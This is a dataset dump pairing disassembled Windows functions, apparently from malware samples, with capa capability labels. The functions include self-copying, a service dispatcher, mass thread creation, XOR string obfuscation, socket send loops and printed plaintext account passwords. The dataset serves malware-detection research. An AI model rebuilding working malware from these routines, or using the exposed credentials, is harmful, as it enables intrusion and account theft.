joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40704c
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2590
call fcn.00407f60
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x407080
push dword [ebp + 8]
call fcn.00404825
test eax, eax
pop ecx
jne 0x4071be
mov edi, 0x410d74
push ebx
push edi
call fcn.004034ae
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070a4
push ebx
call fcn.004047b6
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x4101dc
push ebx
push esi
call fcn.004034ae
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070c9
push ebx
call fcn.004047b6
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403e97
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4071be
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x227a
lea eax, [ebp - 0x2590]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [ebp - 0x2590]
mov byte [ebp - 0x157c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00405705
push ebx
call fcn.004047b6
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x15200
push edx
push eax
call fcn.0040406e
push dword [ebp - 4]
push edi
call fcn.0040347e
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407750
push dword [ebp - 8]
push esi
call fcn.0040347e
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407760
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.00405226
lea eax, [ebp - 0x10c]
push eax
call fcn.00403f05
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4072f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push edi
push 0x4015ff
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406608
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406dde
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406066
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4071cd
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406fd5
push edi
push edi
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 0x406f88
push edi
push edi
call esi
inc ebx
cmp ebx, 0x1a
jl 0x40735d
call fcn.004071c3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4073e2
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.004055fe
test eax, eax
je 0x407457
call fcn.00406dfd
cmp byte [0x4100d4], 0
je 0x407420
push 0x4100d4
call fcn.00405b0f
test eax, eax
pop ecx
jne 0x407457
cmp dword [0x4938f8], 0
je 0x407449
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x4933dc
push eax
mov dword [ebp - 0xc], 0x4073c3
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00404c49
test eax, eax
je 0x407457
call fcn.004072f2
xor eax, eax
leave
ret 0x10

Function at 0x40ad15
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x412ce8
cmp edx, dword [eax]
je 0x40ad37
add eax, 8
inc ecx
cmp eax, 0x412d78
jl 0x40ad28
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x412ce8]
jne 0x40ae65
mov eax, dword [0x493928]
cmp eax, 1
je 0x40ae3f
test eax, eax
jne 0x40ad68
cmp dword [0x412914], 1
je 0x40ae3f
cmp edx, 0xfc
je 0x40ae65
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40ad9f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407750
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407840
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40ade2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407840
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b8
push edi
call fcn.0040afc0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407750
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407760
lea eax, [ebp - 0xa0]
push 0x40d598
push eax
call fcn.00407760
push dword [esi + 0x412cec]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407760
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040c098
add esp, 0x2c
pop edi
jmp 0x40ae65
lea eax, [ebp + 8]
lea esi, [esi + 0x412cec]
push 0
push eax
push dword [esi]
call fcn.00407840
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401530
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
and esp, 0xfffffff0
sub esp, 0x820
call dbg.__main
mov dword [esp + 0x18], 0x73696854
mov dword [esp + 0x1c], 0x50417349
mov dword [esp + 0x20], 0x77737361
mov dword [esp + 0x24], 0x64726f
lea edx, [esp + 0x28]
mov eax, 0
mov ecx, 0xfc
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x81c], 1
jmp 0x401629
mov dword [esp], str.Enter_the_password_for_file:
call sym._printf
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [esp + 0x418]
mov dword [esp], eax
call sym._fgets
mov dword [esp + 4], 0x40401d
lea eax, [esp + 0x418]
mov dword [esp], eax
call sym._strcspn
mov byte [esp + eax + 0x418], 0
lea eax, [esp + 0x18]
mov dword [esp + 4], eax
lea eax, [esp + 0x418]
mov dword [esp], eax
call sym._strcmp
mov dword [esp + 0x818], eax
cmp dword [esp + 0x818], 0
jne 0x40161d
mov dword [esp], str.GoogleDrive:DriveP_ssword_r
call sym._puts
mov dword [esp], str.Mail.ru:ohetoYa_r
call sym._puts
mov dword [esp], str.PornHub:Girls123__r
call sym._puts
jmp 0x401629
mov dword [esp], str.Wrong__r
call sym._puts
cmp dword [esp + 0x81c], 0
jg 0x401584
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret

Function at 0x401b00
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable
Function at 0x401b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4053a0]
test esi, esi
jle 0x401c53
mov edi, dword [0x4053a4]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401b94
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401c4c
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x401b80
mov dword [esp], eax
mov esi, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401c90
mov esi, dword [0x4053a4]
lea ebx, [ebx + ebx*4]
shl ebx, 2
add esi, ebx
mov dword [esi + 0x10], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x4053a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c70
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401c45
sub eax, 4
and eax, 0xfffffffb
je 0x401c45
add ebx, dword [0x4053a4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401c5a
add dword [0x4053a0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor ebx, ebx
jmp 0x401b9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x4053a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error

Function at 0x4020d0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402125
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40211e
test esi, esi
je 0x40211e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402100
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x43b466
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x6e653c], eax
cmp eax, 0xffffffff
jne 0x43f7fe
jmp dword [0x43b49f]
xor eax, eax
lea esp, [esp]
lea ecx, [eax + 1]
imul ecx, ecx, 0x973
xor cx, word [eax*2 + 0x5ddabc]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
cmp eax, 5
jl 0x43f807
lea edx, [ebp - 0x118]
push edx
call fcn.00483c24
xor eax, eax
mov ecx, esi
xor ecx, dword [ebp + 0xc]
jmp 0x551cbe
mov dword [ebp - 0x14], eax
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
xor esi, dword [ebp + 8]
push 0x10
lea edx, [ebp - 0x14]
mov word [ebp - 0x12], ax
mov eax, dword [0x6e653c]
push edx
push eax
mov dword [ebp - 0x10], esi
call dword [sym.imp.WS2_32.dll_connect]
jmp dword [0x551d03]

Function at 0x44ad2b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 8], 0
mov eax, dword [0x6e653c]
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
mov edi, ecx
mov esi, edx
mov dword [ebp - 0x5c], eax
je 0x465059
call dword [sym.imp.msvcrt.dll_rand]
jmp 0x5a392a
cmp byte [ebp - 0x54], 0
je 0x465059
mov dl, byte [ebp - 0x53]
xor ecx, ecx
lea esp, [esp]
mov eax, ecx
and eax, 0x80000001
jns 0x45fff6
dec eax
or eax, 0xfffffffe
inc eax
je 0x460007
mov al, dl
not al
imul cl
jmp 0x46504b
mov al, cl
imul dl
mov bl, al
add bl, bl
jmp 0x465046
add al, bl
mov bl, byte [ebp + 0xc]
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 0x4a
jl 0x45ffe4
test esi, esi
je 0x5b8e5a
mov dl, bl
call fcn.0057c260
mov ecx, dword [ebp - 0x5c]
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dl, bl
call fcn.0057c260
jmp 0x5b8e5a
mov ecx, 0xbb8
cdq
idiv ecx
mov dword [ebp - 0x50], 0xc
mov dword [ebp - 0xc], edi
mov byte [ebp - 0x54], 1
mov byte [ebp - 0x53], bl
mov word [ebp - 0x58], dx
mov edx, ecx
sub edx, dword [ebp - 0x58]
xor ecx, ecx
mov word [ebp - 0x56], dx
lea ebx, [ebx]
mov eax, ecx
jmp 0x5b0d9a
and eax, 0x80000001
jns 0x5b0daa
dec eax
or eax, 0xfffffffe
inc eax
je 0x5b0dbb
mov al, bl
not al
imul cl
jmp 0x5b0dc5
mov al, cl
imul bl
mov dl, al
add dl, dl
add al, dl
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 0x4a
jl 0x5a3958
mov ecx, dword [ebp - 0x5c]
push 0
push 0x50
lea eax, [ebp - 0x58]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x45ffce
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004810b5
mov esp, ebp
pop ebp
ret
Function at 0x461b49
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x10043a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x114
push 0
push 0x6e62f8
mov dword [0x6e6410], eax
call sub.msvcrt.dll_memset
jmp 0x494a50
add esp, 0xc
mov esi, 0x6e62f8
mov dword [0x6e62f8], 0x114
call fcn.0054d6ca
mov edi, eax
xor eax, eax
jmp 0x494a70
lea ecx, [eax + 1]
imul ecx, ecx, 0x4f5a
xor cx, word [eax*2 + 0x5dd19c]
inc eax
mov word [ebp + eax*2 - 0x30a], cx
cmp eax, 5
jl 0x494a70
lea edx, [ebp - 0x308]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x528cec
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
movzx ecx, word [esi + 0x40]
mov dword [0x6e62fc], ecx
movzx edx, word [esi + 0x42]
mov dword [0x6e6300], edx
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x57be
xor cx, word [eax*2 + 0x5dd1c8]
jmp 0x558d66
cmp eax, 0xe
jl 0x528d14
movzx eax, word [esi + 0x42]
push eax
mov eax, dword [0x6e6300]
push ecx
mov ecx, dword [0x6e6304]
push ecx
push eax
push edx
push edi
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0x20
push 0
push 0
jmp 0x494cba
mov esi, dword [eax + 0x3c]
mov edx, dword [0x6e62fc]
add esi, eax
movzx eax, word [esi + 0x40]
mov ecx, eax
cmp edx, ecx
je 0x494cec
cmp eax, 0xa
jne 0x494cd8
xor eax, eax
lea esp, [esp]
lea ebx, [eax + 1]
imul ebx, ebx, 0x22ea
xor bx, word [eax*2 + 0x5dd1a8]
inc eax
mov word [ebp + eax*2 - 0x10a], bx
jmp 0x4c709c
inc eax
mov word [ebp + eax*2 - 0x20a], cx
cmp eax, 0xe
jl 0x494cee
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x6ad3
xor dx, word [eax*2 + 0x5dd1e8]
inc eax
mov word [ebp + eax*2 - 0x10a], dx
cmp eax, 5
jl 0x558d7a
jmp 0x5afcb4
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
test eax, eax
pop edi
setne dl
pop esi
xor ecx, ebp
mov byte [0x6e6414], dl
pop ebx
call fcn.004810b5
mov esp, ebp
pop ebp
ret
Function at 0x46c50c
Capabilities:
Encode data using xor

Disassembly:
mov dword [ebp - 0x110], 0
xor ebx, ebx
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x110]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004810b5
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x110]
push ecx
mov ecx, edi
mov edx, esi
mov dword [ebp - 0x110], ebx
call fcn.0055bb6d
jmp 0x52ad1c
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 4
push 0x3000
push 0x1000
xor ebx, ebx
push ebx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x57939e
lea ecx, [eax + 1]
imul ecx, ecx, 0x312e
xor cx, word [eax*2 + 0x5dd2b0]
inc eax
mov word [ebp + eax*2 - 0x10e], cx
cmp eax, 6
jl 0x49a06a
push 0
push 0
lea edx, [ebp - 0x10c]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [esi]
mov dword [ebp - 0x110], eax
test ebx, ebx
je 0x409226
jmp 0x40921c
test eax, eax
je 0x409228
mov dword [ebp - 0x110], ebx
jmp 0x409228
mov edi, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x110], ebx
mov dword [edi], eax
cmp byte [0x6e6414], bl
je 0x40924e
mov eax, esi
cdq
cmp eax, 0xffffffff
jne 0x5793d0
cmp edx, ebx
jne 0x5793d0
or eax, eax
or edx, 0xffffffff
push edi
lea esi, [edi + 0x10]
push esi
push edx
push eax
mov dword [esi], ebx
mov dword [esi + 4], ebx
call fcn.00581564
cmp dword [esi + 4], 0
mov ebx, eax
je 0x49a0a0
xor eax, eax
jmp 0x49a06a

Function at 0x47cce6
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x6e653c]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x4aa147
push edi
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x100000
jle 0x53c85c
mov eax, 0x100000
jmp dword [0x47cd1f]
fild dword [ebp - 8]
fstp dword [esp + 4]
fild dword [ebp + 0xc]
fstp dword [esp]
call eax
cmp esi, dword [ebp + 0xc]
jl 0x47cd00
cmp edi, 0xffffffff
pop edi
jne 0x4aa147
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push eax
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jle 0x4aa134
mov eax, dword [0x6e6540]
add esi, edi
mov dword [ebp - 8], esi
test eax, eax
je 0x4aa12b
fild dword [ebp - 4]
sub esp, 0xc
fstp dword [esp + 8]
jmp 0x4aa11c
Function at 0x4995f8
Capabilities:
Encode data using xor

Disassembly:
mov dword [ebp - 0xc], 0x4c20000
mov byte [ebp - 8], bl
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x18cd
xor cx, word [eax*2 + 0x5dd5c0]
inc eax
mov word [ebp + eax*2 - 0x222], cx
cmp eax, 7
jl 0x4181f4
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x334], eax
xor eax, eax
jmp dword [0x418235]
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x328], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
push edi
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x330], 0x1000
jmp 0x505a72
cmp eax, ecx
je 0x505a82
mov byte [eax], cl
mov byte [eax + 0xff], cl
lea ebx, [ebp - 0x330]
lea edi, [ebp - 0x324]
call fcn.00550585
xor ebx, ebx
mov dword [ebp - 0x1c], 0x68
mov dword [ebp - 0x18], 0xb800
mov dword [ebp - 0x14], 0xd0ff0000
mov dword [ebp - 0x10], 0x589
jmp 0x4181e8

Function at 0x49d654
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
test edi, edi
jle 0x5288e8
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov edx, eax
sub esi, eax
lea ebx, [ecx + 1]
imul ebx, dword [ebp + 8]
xor bx, word [esi + edx]
inc ecx
mov word [edx], bx
add edx, 2
cmp ecx, edi
jl 0x49d66a
jmp dword [0x49d68d]
pop ebp
ret 8

Function at 0x4ea5b0
Capabilities:
Encode data using xor

Disassembly:
jne 0x491716
or dword [0x6eaaa4], ecx
xor eax, eax
jmp 0x40123d
lea edx, [eax + 1]
imul edx, edx, 0x1d8b
xor dx, word [eax*2 + 0x5dd240]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x40123d
jmp dword [0x401267]
push 0
push 0
push ebx
push edi
push 0
jmp 0x4fd5ac
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6eaaa4], cl
jmp 0x40122a
push 0
push esi
call dword [0x6eaaa0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004810b5
mov esp, ebp
pop ebp
ret

Function at 0x4fd5c3
Capabilities:
Encode data using xor

Disassembly:
lea edx, [eax + 1]
imul edx, edx, 0x3417
xor dx, word [eax*2 + 0x5dd268]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xd
jl 0x4545ec
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x1ea7
xor dx, word [eax*2 + 0x5dd284]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 5
jl 0x454612
lea eax, [ebp - 0x108]
jmp dword [0x454643]
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6eaa9c], cl
jne 0x581546
or dword [0x6eaa9c], ecx
xor eax, eax
jmp 0x4545ec
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push edx
push esi
push eax
call dword [0x6eaa98]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004810b5
mov esp, ebp
pop ebp
ret
Function at 0x509a14
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
mov cl, byte [ebp - 0x53]
xor eax, eax
xor byte [ebp + eax - 0x52], cl
inc eax
cmp eax, 0x4a
jl 0x44ad0d
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004810b5
mov esp, ebp
pop ebp
ret
mov edx, ecx
sub edx, dword [ebp - 0x58]
mov word [ebp - 0x56], dx
call esi
and eax, 0x800000ff
jns 0x4ca439
dec eax
or eax, 0xffffff00
inc eax
cmp byte [ebp - 0x54], 0
mov byte [ebp - 0x53], al
je 0x4ca458
mov cl, al
xor eax, eax
xor byte [ebp + eax - 0x52], cl
inc eax
cmp eax, 0x4a
jl 0x4ca44a
push 0
push 0x50
lea eax, [ebp - 0x58]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp byte [ebp - 0x54], 0
je 0x44ad1b
jmp 0x44ad08
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.msvcrt.dll_rand]
push edi
mov edi, dword [0x6e653c]
call esi
cdq
mov ecx, 0x3e8
idiv ecx
mov dword [ebp - 0x50], 0xa
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x54], 1
mov word [ebp - 0x58], dx
jmp 0x4ca41c

Function at 0x513624
Capabilities:
Encode data using xor

Disassembly:
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0xc]
mov dword [ecx + eax*8 + 0x100], edx
mov edx, dword [ebp + 0x10]
mov dword [ecx + eax*8 + 0x104], edx
inc dword [ecx + 0x2040]
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.004810b5
mov esp, ebp
pop ebp
ret 0xc
cmp eax, 0x3e8
jl 0x464d14
xor eax, eax
nop
lea edx, [eax + 1]
imul edx, edx, 0x7f0f
xor dx, word [eax*2 + 0x5dd314]
inc eax
mov word [ebp + eax*2 - 0x10e], dx
cmp eax, 0xd
jl 0x481a32
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004810b5
jmp 0x464d0e
cmp esi, dword [edi]
jl 0x512711
jmp 0x48b3f5
imul esi, esi, 0x2048
lea ecx, [esi + edi + 8]
test ecx, ecx
jne 0x48b425
mov ecx, dword [edi]
mov eax, dword [ebp - 0x110]
imul ecx, ecx, 0x2048
lea ecx, [ecx + edi + 8]
mov esi, ecx
mov dword [ecx + 0x2040], 0
sub esi, eax
mov dl, byte [eax]
mov byte [esi + eax], dl
inc eax
test dl, dl
jne 0x48b415
inc dword [edi]
mov eax, dword [ecx + 0x2040]
jmp 0x481a24
cmp eax, 0xc
jl 0x51364f
push 0
push 0
lea edx, [ebp - 0x10c]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004810b5
mov esp, ebp
pop ebp
ret 0xc
xor esi, esi
test eax, eax
jle 0x48b3f5
lea ebx, [edi + 8]
mov eax, dword [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.msvcrt.dll__stricmp]
add esp, 8
test eax, eax
je 0x48b3e3
inc esi
add ebx, 0x2048
jmp 0x48b3d6
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x110], eax
mov eax, dword [edi]
push ebx
push esi
cmp eax, 0x64
jl 0x512704
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x63cd
xor cx, word [eax*2 + 0x5dd2f8]
inc eax
mov word [ebp + eax*2 - 0x10e], cx
jmp 0x5126d6